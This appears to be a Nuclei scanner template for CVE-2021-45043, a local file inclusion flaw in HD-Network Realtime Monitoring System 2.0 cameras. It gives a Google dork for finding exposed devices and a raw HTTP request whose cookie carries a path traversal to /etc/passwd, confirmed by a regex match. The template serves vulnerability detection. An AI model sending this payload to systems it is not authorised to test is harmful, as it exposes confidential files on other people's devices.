id: CVE-2021-45043

info:
  name: HD-Network Realtime Monitoring System 2.0 - Local File Inclusion
  author: Momen Eldawakhly,Evan Rubinstein
  severity: high
  description: Instances of HD-Network Realtime Monitoring System version 2.0 are vulnerable to a Local File Inclusion vulnerability which allows remote unauthenticated attackers to view confidential information.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in HD-Network Realtime Monitoring System 2.0.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-45043
    - https://www.exploit-db.com/exploits/50588
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45043
    - https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-45043
    cwe-id: CWE-22
    epss-score: 0.05404
    epss-percentile: 0.92339
    cpe: cpe:2.3:a:hd-network_real-time_monitoring_system_project:hd-network_real-time_monitoring_system:2.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hd-network_real-time_monitoring_system_project
    product: hd-network_real-time_monitoring_system
    google-query: intitle:"HD-Network Real-time Monitoring System V2.0"
  tags: camera,edb,cve,cve2021,hdnetwork,lfi,iot

http:
  - raw:
      - |
        GET /language/lang HTTP/1.1
        Host: {{Hostname}}
        Referer: {{BaseURL}}
        Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# digest: 4a0a00473045022078a862f5050b905e3ae9fcdf34bf42cbb175dee81b3e4fac12ec5a7b4c2c7624022100d26fac5b0f57cbefaabf33e2986a1f48646554079b4152bb8903ed1db5b2caa0:922c64590222798bb761d5b6d8e72950